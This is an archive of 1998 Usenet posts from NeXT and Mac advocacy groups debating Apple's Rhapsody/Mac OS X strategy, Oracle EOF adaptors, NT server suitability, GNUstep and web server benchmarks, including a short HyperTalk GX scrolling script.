References: <71aovh$hkc@newsb.netnews.att.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
Originator: gupta@tlctest
Rex Riley <rr6013@yahoo.com> wrote:
>
>I don't like the fact but at the highest levels of decision making, Industry
>bets on MS. A bet for good reason.
An excellent article on the danger of going all MS, and that too,
in a general circulation newspaper.
http://cgi.chicago.tribune.com/1998/0,1710,3,00.html
(A summary of the argument is that even if your company standardizes
on MS, at some point, you will need to interoperate with customers,
and then reliance on common,open standards will be crucial, because not
all of them will be all-MS.)
-arun gupta
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy
Subject: Re: 'Piracy' is it?
Date: Wed, 04 Nov 1998 14:37:11 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71poqn$qur$1@nnrp1.dejanews.com>
References: <36111F57.2B009A30@ix.netcom.com> <6urrfb$3h0$3@eve.enteract.com> <363FA593.6BA4@hughesm.force9.net>
hughesojh@my-dejanews.com wrote:
> That said,
> Apple obviously don't want us to keep using our Black hardware.
> They want us to buy a new G3 and OS X.
I just wish they'd let us do so!
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Wed, 4 Nov 1998 10:09:22 -0500
Organization: phenix@interpath.com
Message-ID: <1dhxbbn.et7tgf146sbr5N@roxboro0-018.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <71nmfq$hig$1@nnrp03.primenet.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
John Jensen <jjens@primenet.com> wrote:
> John Moreno <phenix@interpath.com> wrote:
> : John Jensen <jjens@primenet.com> wrote:
>
> : > I think the Be people have had this figured out for a while. They went
> : > looking for revolutionaries and offered them a place on the ground floor.
>
> : I think Apple had the revolutionaries - they just shot at them so often
> : they are gun shy.
>
> Or wasted the troops in false charges?
Even better.
> Apple has cleverly hidden their main attack ... now, once more boys ...
> over the top!
Hell, no! We're not taking that hill until we know for sure it's not
going to be given up at the next peace talks.
--
John Moreno
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Wed, 4 Nov 1998 10:09:24 -0500
Organization: phenix@interpath.com
Message-ID: <1dhyq50.1kag6rm163e9cyN@roxboro0-018.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <B26497F7-5CBFB@206.165.43.115> <1dhxbcq.avv9tl1phx79bN@roxboro0-024.dyn.interpath.net> <B2656065-215B4@206.165.43.138>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Lawson English <english@primenet.com> wrote:
> John Moreno <phenix@interpath.com> said:
>
> >I'm not throwing stones or saying you should stop or that you won't end
> >up creating something worthwhile - what I'm saying is that most people
> >will see what you are doing as a dead end product (like developing
> >something for the IIgs in '87). As you say in that last paragraph - it
> >won't run under the next OS and instead of a expanding market you are
> >catering to what will be a shrinking market. Most people don't want to
> >do that.
>
> Call it a philisophical statement. A few people will use it. A few people
> will be smart enough to read between the lines and realize that the entire
> community of users of Macintosh computers have been screwed bigtime and may
> even complain.
Fine, and like I said if you want to do it (for whatever reason) I don't
think I (or anybody else) should say "nay", but....
-snip-
> I mean, ONLY Apple can attempt to spin the loss of MacOS technology that
> has happened in the past few years as a good thing.
>
> Pardon me if I disagree...
No it wasn't a good thing, but it is done.
-snip sigdashless sig-
Add a sigdash! Show that it can be done from within Cd (I spent months
thinking it couldn't).
--
John Moreno
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.sys.amiga.advocacy
Subject: Re: OS Advocacy/Rating/Locating site
Date: 4 Nov 1998 18:02:32 GMT
Organization: MiscKit Development
Message-ID: <71q4ro$n36$1@news.xmission.com>
References: <36404889.A2E4CB64@iconics.co.uk> <36447464.2739064@news-server>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 4 Nov 1998 18:02:32 GMT
sdenbes1@san.rr.com (Steven C. Den Beste) wrote:
> On Wed, 04 Nov 1998 12:28:57 +0000, Michael wrote this in jello with
> a chisel:
> > [...]
> >http://www.oscounter.org
>
> Holy Cow! The *ULTIMATE* beauty contest poll!
>
> It's gonna have no meaning whatsoever, you realize, because it will
> be a self-selected sample.
>
> Now let's all go stuff some ballot boxes! Vote early and vote often!
The problem is that it doesn't allow a person to list more than one OS. I
typically run six different OSes on a motley collection of different
machines...so even those who try to vote "honestly" can't register a proper
vote. Thus making the whole thing that much more bogus... :-P
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Wed, 4 Nov 1998 13:14:10 -0500
Organization: phenix@interpath.com
Message-ID: <1dhz0hs.dt52lv15xhk8wN@roxboro0-059.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <B26497F7-5CBFB@206.165.43.115> <1dhxbcq.avv9tl1phx79bN@roxboro0-024.dyn.interpath.net> <B2656065-215B4@206.165.43.138> <1dhyq50.1kag6rm163e9cyN@roxboro0-018.dyn.interpath.net> <B265CD3A-8E98@206.165.43.151>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Lawson English <english@primenet.com> wrote:
> John Moreno <phenix@interpath.com> said:
>
> >Add a sigdash! Show that it can be done from within Cd (I spent months
> >thinking it couldn't).
>
>
> What is a "sigdash?" [note that I deleted my usual sig pending
> comprehension and compliance]
A sigdash is a line which signals to the various newsreaders
(unfortunately not to Cd, but that's a another story) that all of the
text which comes after is not part of the body of the message and is in
fact the sig.
This allows newsreaders to do some cool stuff with it - the most popular
and useful is to leave it out when quoting for the response.
The sigdash consist of two dashes followed by a single space (the reason
why I spent months thinking that it couldn't be done is because when Cd
displays articles it removes trailing white space and so when I posted
using Cd with a proper sigdash and since I didn't know that when I read
the article using Cd it looked like the space was being removed upon
sending [which is a problem with some other newsreaders]).
Take a look at this article in Cd and then open it again using a option
click to see the "raw" article - you'll see the space there, but not in
the normal Cd message window.
--
John Moreno
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 18:08:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71q570$ccg$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com> <je6$dKjSkmOG@cc.usu.edu>
In article <je6$dKjSkmOG@cc.usu.edu>,
root@127.0.0.1 wrote:
> In <71o0d1$g3n$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
>> A new EOF adaptor for use in conjunction with WebObjects 4. Rumor has
>> it that Oracle wanted a very large sum of money to do the port.
>>
>> Unfortunately, one problem with a true middleware layer like EOF with regard
>> to gathering support from DB vendors is that EOF marginalizes the specific
>> database in use. If the developer neither sees nor cares whether he's using
>> Oracle, Sybase, MS SQLserver, or whatever, how does Oracle stand out from
>> its' competition?
>
> Perhaps maybe its performance?
That's not sufficient for Oracle. They want to get their customers locked
into using Oracle for all database-related tasks, and having customers
develop apps using their tools which contain Oracle-specific SQL, DB
bindings, and the like are a major part of their strategy.
Oracle tries very hard to provide the compleat solution; they attempt to
provide significant integration advantages if you stick with their proprietary
tools, in very much the same way the Microsoft does with their product suite.
M$ is certainly not the only company who tries to break open standards via the
"adopt and add proprietary extentions" strategy.
Middleware layers which hide the underlying DB, and far worse, enable a client
to switch from using Oracle to using someone else's database without even
having to re-write their apps are directly counterproductive to that strategy.
They very much want their customers locked in rather than having to compete on
performance against the other RDMBS vendors....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 18:12:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71q5f4$coe$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com> <BvN%1.13248$yb5.11558948@news.rdc1.sdca.home.com>
In article <BvN%1.13248$yb5.11558948@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>> A new EOF adaptor for use in conjunction with WebObjects 4.
>
> OK, I'll bite... do you know the business case for changing EOF yet again?
The Oracle EOF adaptor depends on the Oracle client libraries (fairly obvious,
right?), which belong to Oracle, not Apple. Oracle wants money in order to
update them for Oracle v8, and to port them to Mac OS X...
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 18:19:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71q5rq$ddc$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com> <BvN%1.13248$yb5.11558948@news.rdc1.sdca.home.com> <71oiq4$dq4@news1.panix.com>
In article <71oiq4$dq4@news1.panix.com>,
sal@panix.com wrote:
> On Wed, 04 Nov 1998 00:48:33 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>>OK, I'll bite... do you know the business case for changing EOF yet again?
>
> IIRC, the Oracle EOF adapter that shipped was a NextStep App and not
> an OpenStep App. Since the PPC version of Rhapsody would not include
> those frameworks, they had to do a rewrite.
>
> (If I'm wrong please correct me)
Nope. More specificly, though-- the version of EOF running on NEXTSTEP/Mach
(or OPENSTEP/Mach) included the Oracle client libraries built directly into
the Oracle EOF adaptor, because Oracle doesn't have an actual seperate client
deployment for Mach.
When you want to use EOF to talk to Oracle on other platforms, uch as NT or
Solaris, you need to install the Oracle client stuff. For Rhapsody (MOXS),
this external client stuff doesn't exist (as was the case with NS/Mach), and
Oracle wants Apple to pay them lots of dollars to write it....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 17:40:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71q3im$agn$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <oqN%1.13247$yb5.11558948@news.rdc1.sdca.home.com>
In article <oqN%1.13247$yb5.11558948@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>> Disagree. Dealing with publishing is a primary problem on some of the
>> largest sites out there, because content management is such a essential
>> aspect of a large, dynamic site with lots of people authoring content and
>> complex scheduling for go-live times for this new content.
>
> SMP may be the one-trick Pony for Publishing.
Umm, it's not. I don't have any idea where you got that from. All I said was
that publishing is a significant issue for large sites. Large sites often are
interested in SMP, but there is no causual relationship between publishing and
SMP.
> But SMP for departmental servers in Publishing? That's all? I'd like to
> see SMP R&D amortization figures on that business case. There must be more
> to OS X server beyond Macintosh badged domains.
There is.
Heck, there's a lot more to WOF than it's suitability to web-based publishing
solutions, although designing such solutions using software like WOF is a
major aspect of my company's business.
And there's a lot more to OS X Server than it's suitability to WOF development
and deployment, although Apple is working to make sure that OS X Server is a
good platform for doing just that.
> Apple selling to the MacChoir is OK. That's enough?
No.
> The capitalist in me wants there to be a larger strategy. If strategy is
> the plan then technology must be the enabler. Since SMP isn't the NT
> killer, MacOS is doomed to continued Windows Step Child status?
Not at all. I regard an SMP Intel box running NT to be a inefficient use of
money for most tasks. For almost all web site deployment, it's completely
wasteful. If you want the additional fault tolerance or performance of SMP,
you should either be going with Solaris on SPARC hardware or for multiple
single-CPU boxes (if your web site distributes, which almost all can do via
round-robin DNS or more sophisticated load-balancing techniques),
respectively.
MOXS' potential ability to take on NT is because it's much more stable, it has
significantly better underlying OS in terms of VM, threading, IPC, networking,
et al, it has a better user interface and better admin tools, and because
simple notions like installing apps on a fileserver work all of the time, as
opposed to the typical WinNT braindamaged apps which require clients to have
registry changes and DLL's installed locally.
That's not to say that MOXS will succeed against WinNT even though it is a
better mousetrap. Anybody in the NeXT community is painfully aware that
better technology isn't enough-- positioning, an effective sales strategy,
business partnerships with third-party ISVs, are all essential as well.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 4 Nov 98 11:31:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B265EBA9-2E872@206.165.43.79>
References: <1dhyqan.1l6gu2lkk7wpeN@p004.intchg3.net.ubc.ca>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy
Bruce Bennett <bbennett@unixg.ubc.ca> said:
>CaHand <ch3@earthlink.net> wrote:
>
>> Cyberdog was dead the day it was given that name.
>
>Tell it like it is, CaHand. Now, Sherlock -- *there's* a name to conjure
>with.
A little history lesson:
Cyberdog was the code-name for the technology demo and underlying API. The
early-adopters/beta-testers of the product were so taken with the name that
they did a massive e-mailing to Apple to keep the name official. There were
so many people requesting this that Apple actually paid a licensing fee to
some other company to be allowed to use the name in the final product.
Now, you can say that all the Mac users that liked the name and requested
that it be kept were in error and that no-one but they would have liked the
name, but the fact is that more people wanted the name then not.
Of course, the phrase, "No sh*t, Sherlock," would never occur to anyone
upon hearing the name "Sherlock."
OTOH, there are countless negative phrases that automatically occur to
anyone upon hearing the truely awful name "Cyberdog."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.next.advocacy
Subject: About GNUstep (was Re: About Linux, and OS-X)
Date: 4 Nov 1998 19:03:32 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <F1vC53.FHv@basil.icce.dev.rug.null.nl>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net> <F1utE0.7r6@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <71llog$l6v$6@blue.hex.net> Christopher Browne wrote:
> >> >...until recently. Look at gnu.gnustep.discuss. They make tremendous
> > >progress every week and the people working on it are extremely bright
> > >and experienced guys.
> >
> > I don't see too much "action" there.
>
> Nor I. In fact that's my original reason for going to the group, to find
> out what was happening with the HURD. Personally I think the HURD is an
> amazing idea, but development seems to be no closer to a real product today
> than it was many years ago. The one thing that the group does seem to
> generate is flamewars, but other than that there's little in the way of
> content.
Apparently the propagation of the gnu.gnustep.discuss newsgroup is quite
poor, my ISP doesn't carry it for example. Anyway, it just mirrors the
gnustep-discuss AT gnu.org mailinglist, which is quite active lately (about
300 messages last month.)
[Send a message to gnustep-discuss-request AT gnu.org, with "subscribe"
(without quotes) as the Subject (and the obvious AT-sign substitution), to
subscribe.]
Incidentally, the HURD and GNUstep are two quite unrelated projects, so
gnu.gnustep.discuss would be the wrong place to look for progress on the
HURD. Maybe you meant gnu.misc.discuss (aka. endless GPL flamewars:-)
instead?
Hope this helps,
--Tom.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 19:23:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71q9k7$igb$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com> <BvN%1.13248$yb5.11558948@news.rdc1.sdca.home.com> <71oiq4$dq4@news1.panix.com>
In article <71oiq4$dq4@news1.panix.com>,
sal@panix.com wrote:
> On Wed, 04 Nov 1998 00:48:33 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>>OK, I'll bite... do you know the business case for changing EOF yet again?
>
> IIRC, the Oracle EOF adapter that shipped was a NextStep App and not
> an OpenStep App. Since the PPC version of Rhapsody would not include
> those frameworks, they had to do a rewrite.
>
> (If I'm wrong please correct me)
Nope. More specificly, though-- the version of EOF running on NEXTSTEP/Mach
(or OPENSTEP/Mach) included the Oracle client libraries built directly into
the Oracle EOF adaptor, because Oracle doesn't have an actual seperate client
deployment for Mach.
When you want to use EOF to talk to Oracle on other platforms, uch as NT or
Solaris, you need to install the Oracle client stuff. For Rhapsody (MOXS),
this external client stuff doesn't exist (as was the case with NS/Mach), and
Oracle wants Apple to pay them lots of dollars to write it....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Wed, 04 Nov 1998 20:10:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71qcc0$mk1$1@nnrp1.dejanews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <slrn73s78a.5lu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com>
In article <3640795E.CF924665@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> "James E. Quick" wrote:
>> It's one of the reasons I have always loved NeXTStep. It's always
>> been an environment of cooperation. One developer writes a neat
>> piece of code - commercial or otherwise, and users of every other
>> piece of code get to leverage it via services. Everyone wins. In
>> a way it's an ethical operating system.
>
> NetInfo? How does this figure into your assessment?
NeXT made arrangements for a third-party ISV, Xedoc, to sell NetInfo solutions
for other operating systems, like Solaris, HP/UX, OSF/1, and so forth.
I understand that Xedoc is now having problems getting Apple to give them
updated information about changes to NetInfo in MacOS X, so you might have a
point....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Wed, 4 Nov 1998 15:46:09 -0500
Organization: phenix@interpath.com
Message-ID: <1dhz7o2.156mjnk1dam8lgN@roxboro0-020.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <B26497F7-5CBFB@206.165.43.115> <1dhxbcq.avv9tl1phx79bN@roxboro0-024.dyn.interpath.net> <B2656065-215B4@206.165.43.138> <1dhyq50.1kag6rm163e9cyN@roxboro0-018.dyn.interpath.net> <B265CD3A-8E98@206.165.43.151> <1dhz0hs.dt52lv15xhk8wN@roxboro0-059.dyn.interpath.net> <B265F916-6101E@206.165.43.79>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Lawson English <english@primenet.com> wrote:
> John Moreno said:
>
> >Take a look at this article in Cd and then open it again using a option
> >click to see the "raw" article - you'll see the space there, but not in
> >the normal Cd message window.
>
> Is this better?
Yes it is. Thank you.
--
John Moreno
Date: Wed, 04 Nov 1998 15:09:22 -0600
From: alex@WebIS.net (Alex Kac)
Mail-Copies-To: alex@WebIS.net
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <alex-0411981509220001@cs48-33.austin.rr.com>
References: <1dhxbcq.avv9tl1phx79bN@roxboro0-024.dyn.interpath.net> <B2656065-215B4@206.165.43.138>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
In article <B2656065-215B4@206.165.43.138>, "Lawson English"
<english@primenet.com> wrote:
>Call it a philisophical statement. A few people will use it. A few people
>will be smart enough to read between the lines and realize that the entire
>community of users of Macintosh computers have been screwed bigtime and may
>even complain.
>
>GXFCN, once it is done, will be useful for a huge number of people, if they
>chose to use it. Their loss if they don't try it. If they try it and like
>it and don't cordially invite Apple to rethink their decision to kill GX
>under 8.6, then that's their loss again.
>
>I mean, ONLY Apple can attempt to spin the loss of MacOS technology that
>has happened in the past few years as a good thing.
>
>Pardon me if I disagree...
I was just wondering how long you've been working on this. I seem to
remember that its been over a year. Am I right? What exactly will it do.
Give code examples please.
Thanks!
--
-
Alex Kac Web Information Solutions CEO
Everyware/Pervasive Alliance Member
Tango Hosting - Tango Consulting - Commerce Building
Data Driven WebSite Creation - Oracle Hosting - Butler Hosting
http://www.WebIS.net
-
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Content-Type: text/plain; charset=us-ascii
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Cc: tom@basil.icce.dev.rug.null.nl
Organization: needs one
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com>
<1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net>
<F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl>
Mime-Version: 1.0
Date: Wed, 4 Nov 1998 21:43:00 GMT
In <F1vC53.FHv@basil.icce.dev.rug.null.nl> Tom Hageman wrote:
> Apparently the propagation of the gnu.gnustep.discuss newsgroup is quite
> poor, my ISP doesn't carry it for example. Anyway, it just mirrors the
> gnustep-discuss AT gnu.org mailinglist, which is quite active lately
> (about 300 messages last month.)
Ahh, we're definitely working under different versions of "quite active",
which would explain the issue! c.s.m.a is "quite active", at something
nearing 300 messages a day. 300 a month is10 a day, which is what I call
"dead". But that's besides the point.
> Incidentally, the HURD and GNUstep are two quite unrelated projects
Yes, sorry, my bad, I was referring to gnu.misc.discuss. They have about
15 message a day, with _maybe_ 2 or 3 a day about development issues. I've
looked in the various development areas for signs of life too, but no such
luck.
> HURD. Maybe you meant gnu.misc.discuss (aka. endless GPL flamewars:-)
> instead?
Indeed. Is there a better area to talk HURD?
Maury
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: A curiosity in the Halloween document
Date: 4 Nov 1998 21:38:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71qhhc$l49@newsb.netnews.att.com>
Bcc: esr@thyrsus.com
Originator: gupta@tlctest
The Microsoft Halloween document makes the claim :
"In the short run, IIS soundly beats Apache on SPECWeb.
Moving further, as IIS moves into kernel and takes advantage
of deper integration with NT, this lead is expected to increase
further."
****
Is this true ? I looked at SPECWeb96 results publish on
www.specbench.org.
I found for example,
SPECweb96 = 1514
HP NetServer LPr/450
Microsoft Internet Information Server 4.0
450 MHz Pentium II, 1 Processor, 16K+16K L1, 512K L2,
1024 MB RAM; 10K RPM HD, Ultra SCSI
NT 4.0 SP3, NTFS file system
100 Mb/s network
SPECweb96 = 2575
IBM Netfinity 5500
Apache HTTP Server 1.3.1
400 MHz Pentium II, 1 Processor, 32K L1, 512 K L2
1 GB RAM; 7.2K, 10K RPM UW SCSI RAID
NT 4.0, NTFS file system
100 Mb/s network
Perhaps the hardware is not comparable.
In any case, these were the highest single processor scores
that I could find.
Is Microsoft in a delusional mode, or am I missing something ?
Help !
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 4 Nov 98 14:48:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B26619C7-DCDE4@206.165.43.79>
References: <alex-0411981509220001@cs48-33.austin.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "Alex Kac" <alex@WebIS.net>
nntp://news.primenet.com/comp.sys.mac.advocacy
Alex Kac <alex@WebIS.net> said:
>I was just wondering how long you've been working on this. I seem to
>remember that its been over a year. Am I right? What exactly will it do.
>Give code examples please.
>
>Thanks!
I've been working on it for a very short while, coding-wise, but came up
with the idea over 18 months ago.
Depression, allergies and other health-related issues (both my own and
family members) have conspired to prevent me from working on it more. Being
a piss-poor coder didn't help, either.
Here's the simplest code example I have. It goes into the script of a
locked text-field and tracks the mouse while scrolling a GX viewport and
redrawing while the mouse is still down. Note that I forgot to check and
see if the mouse had actually moved before setting the viewport transform
and redrawing, but that would be a trivial test to add in:
on mouseDown
global theDefaultViewPort
put the clickLoc into theOldLoc
repeat until the mouse is up
put the mouseLoc into theMouseLoc
if theMouseLoc is within the rect of me then
put (item 1 of theMouseLoc - item 1 of theOldLoc) into item 1 of
theDelta
put (item 2 of theMouseLoc - item 2 of theOldLoc) into item 2 of
theDelta
put GXFCN("MLibMoveViewPortMapping", theDefaultViewPort, theDelta)
DrawAllShapes
put theMouseLoc into theOldLoc
end if
end repeat
end mouseDown
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 22:15:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71qjm4$2ko$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
In article <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <71o4se$lsc$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
>>> If OSX is gonna haul freight over the Internet with WO, it's gonna have
>>> to pull right along with Mack trucks like Sun, Linux and NT.
>>
>> I think you're confused if you regard NT to be a "Mack truck" of Internet
>> transport.
>
> This is elitist whinery...
What is? For quite some time, even Microsoft was using Unix boxes for
critical server roles like DNS, web, email, and the like, because NT wasn't
up to it. Feel free to look the details up in DejaNews. They've now gone to
some lengths to make their server types anonymous, nowadays.
> fact is, MS has gone overboard to promise
> Industry after Industry that NT will support their missions.
You mean you believe Microsoft always delivers exactly what they promise?
> MS has convinced Banking, Ecommerce and <your favorite> that NT will ship
